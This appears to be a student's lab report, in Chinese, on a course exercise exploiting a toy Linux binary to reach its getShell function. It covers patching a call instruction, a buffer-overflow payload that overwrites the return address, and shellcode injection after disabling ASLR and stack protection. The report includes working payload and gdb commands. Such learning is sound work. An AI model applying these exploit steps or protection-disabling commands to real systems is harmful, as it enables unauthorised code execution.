1.实验内容
1.1本周学习内容
本周学习主要围绕缓冲区溢出漏洞(攻击)展开
1.2实验内容简述
“pwn1”是一个 Linux 可执行文件正常运行时会调用“foo”函数。“foo”函数的功能是对用户输入的字符串进行简单回显。此程序中还包含另一个代码片段“getShell”,具有返回一个可用 Shell 的功能。正常运行时,“getShell”代码不会运行。本次实验就是通过三种不同方法来调用“getShell”函数。
①修改可执行文件内容
改变程序中的一个函数调用指令,使其直接跳转到“getShell”函数。通过这种方式在程序执行流程上进行干预,让程序能够执行到“getShell”函数的代码部分。
②利用缓冲区溢出漏洞
利用“foo”函数存在的缓冲区溢出漏洞来实现调用“getShell”函数。首先构造一个攻击输入字符串,然后利用这个字符串覆盖返回地址。当程序执行到被覆盖的返回地址时,就会触发“getShell”函数的运行。这种方法是通过改变程序的执行路径。
③注入并运行 shellcode
注入一段自己制作的 shellcode,这段 shellcode 是专门用于获取一个交互式的 shell 的机器指令。在注入后,需要运行这段 shellcode,从而实现调用“getShell”函数的目的。这种方法是通过向程序中注入特定的指令序列来达到获取 Shell 的效果。
2.实验过程
2.1修改程序机器指令
下载并将pwn1文件改名,运行可执行文件./pwn20222322
,运行正常。
反汇编文件objdump -d pwn20222211 | more
找到main、getshell和foo
将call 8048491中的地址8048491修改为getShell的地址804847d
即:将0xd7ffffff修改为0xc3ffffff。
- 原因:偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。
要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff
vi pwn20222322
打开文件后为乱码
按esc键,输入:%!xxd并使用/e8 d7快速找到需要修改的地址,将d7改成c3,使用:%!xxd -r转回乱码格式,并使用:wq命令保存退出;
反汇编objdump -d pwn20222322 | more
查看机器指令,修改成功。
./pwn20222322运行结果
成功获取shell,即成功调用了getShell函数
2.2BOF攻击的方法
用gdb pwn20222322-2调试程序,确认哪几个字符会覆盖到返回地址,输入字符串“11111111222222223333333344444444200408100024”
输入命令 info r
查看寄存器eip的值,发现2004(十六进制0x34303032)覆盖到返回地址。
把2004换成getShell的地址0x0804847d,构造字符串“11111111222222223333333344444444\x7d\x84\x04\x08”,
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input>
输入指令xxd input
查看input内容
输入(cat input;cat) | ./pwn20222322-2
将input中的字符串作为文件输入。
可以发现程序调用了getShell函数,获取shell。
2.3注入shellcode
使用命令 sudo apt-get install execstack
安装设置堆栈可执行,关闭地址随机化,并进行确认。
- 下载execstack时可能会下载失败,有以下两种办法:
- 若无法识别execstack工具包,可用
sudo apt-get update
和sudo apt-get upgrade
命令更新后再进行安装execstack。 - 若仍然未安装成功,可选择用浏览器搜索官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
命令进行解压。
- 若无法识别execstack工具包,可用
- 通过以下命令修改设置
execstack -s pwn20222322-3
//设置堆栈可执行
execstack -q pwn20222322-3
//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
//查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化
缓冲区28字节,采用nop+shellcode+retaddr构造结构。
构造输入(“\x1\x2\x3\x4”是“shellcode”的占位符,即foo函数返回地址位置,先通过占位符找到返回地址再进行注入),并将其放入“input_shellcode”中,作为pwn的输入。
打开一个新的终端,找到pwn的进程号,并且用gdb调试进程。
-
输入命令
attach 51608
。
输入命令disassemble foo
,反编译foo函数。
ret的地址为0x080484ae,输入命令
break *0x080484ae
,在此设置断点。
输入c
,表示continue,在原终端按下enter。
输入
info r esp
查看栈顶指针所在位置。
使用x/16x 0xffffd39c
命令查看该地址处的存放内容。
再输入(cat input_shellcode; cat) | ./pwn20222322-3
,将“input_shellcode”作为pwn20222322-3的输入。
成功注入shellcode,获取shell。
3.问题及解决方案
-
问题1:在实验前准备不够充分,对虚拟机配置不够熟悉,下载kali时间较长且忘记虚拟机安装时设置的密码。
- 问题1解决方案:重新配置虚拟机,实验过程中遇见一些问题也导致需要重新配置虚拟机,现在此次实验的虚拟机配置我可以直接流畅进行。
-
问题2:实验过程中过程中发现未安装gdb
使用sudo apt update
和sudo apt install gdb
命令安装gdb
此处显示下载失败,- 问题2解决方案:是网络设置问题,将虚拟机网络从桥接模式设置为NET模式,再次下载。下载成功后输入
gdb
检查确认。
- 问题2解决方案:是网络设置问题,将虚拟机网络从桥接模式设置为NET模式,再次下载。下载成功后输入
-
问题3:实验过程中发现未下载execstack
- 问题3解决方案:
①使用命令sudo apt-get install execstack
安装,提示无法找到这个execstack工具包
根据提示使用sudo apt-get update
和sudo apt-get upgrad
e命令更新后再进行安装execstack
②显示仍然安装不成功,最终决定,浏览器外部官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
命令进行解压,最终安装成功。
- 问题3解决方案:
-
问题4:在注入shellcode过程中,ls找到了文件pwn3(出现这个问题的那次实验文件名没改,实验截图为全部重做截的),但是命令又显示not found。
- 问题4解决方案:
是在进行实验时pwn3文件是由pwn1文件复制的,此时的pwn1文件已经在前面的实验中被修改过了。重新传输pwn1文件即可。
- 问题4解决方案:
-
问题5:在解决问题4,重新传输pwn1文件过程中,发现不能将文件拖拽进kali,使用WinSCP传输也不行,显示连接被拒绝。
- 问题5解决方案:
在尝试切换root用户进行拖拽操作后,虚拟机卡死,最后飞速重新配置虚拟机,重新进行实验。
- 问题5解决方案:
4.学习感悟
在学习的过程中,对堆栈的认识以及对汇编语言mov、push、pop、call 等常见指令的了解,逐渐令我理解计算机底层运作。通过它们,我仿佛能触摸到计算机内部数据的流动和程序流程的脉络。这不仅让我对计算机硬件与软件的交互有了更深刻的认识,更使我在面对复杂的程序逻辑时,能够从底层原理的角度去分析和解决问题。
通过实验我对虚拟机的操作更加熟练,自己感觉有了质的提升,同时感受到了虚拟机的妙用。缓冲区溢出攻击的实践操作是本次实验的核心亮点。通过实验,我真切地理解了缓冲区溢出的原理。
当向缓冲区写入的数据超过其容量时,这种看似简单的 “越界” 行为,却能引发一系列意想不到的后果。在手工修改可执行文件、构造攻击输入字符串以及注入 shellcode 的过程中,我亲眼目睹了数据是如何突破缓冲区的限制,进而覆盖相邻内存区域的。这让我深刻认识到,程序在运行时,内存的管理是如此关键而又脆弱。每一个字节的写入都需要谨慎对待,稍有不慎,就可能导致程序的异常行为,甚至为攻击者创造可乘之机。例如,在构造 BOF 攻击的输入字符串时,需要精确地计算字符串的长度和覆盖的内存位置,以确保能够成功覆盖函数的返回地址,触发我们期望的 getShell 函数。
成功实现缓冲区攻击的那刻,既让我感受到了成就感,同时也让我对缓冲区溢出的危险性有了更为直观的认识。
5.参考资料
- 《kali Linux 安装教程(保姆级)》
- 《逆向及Bof基础实践说明》
- 《关于找不到execstack的问题》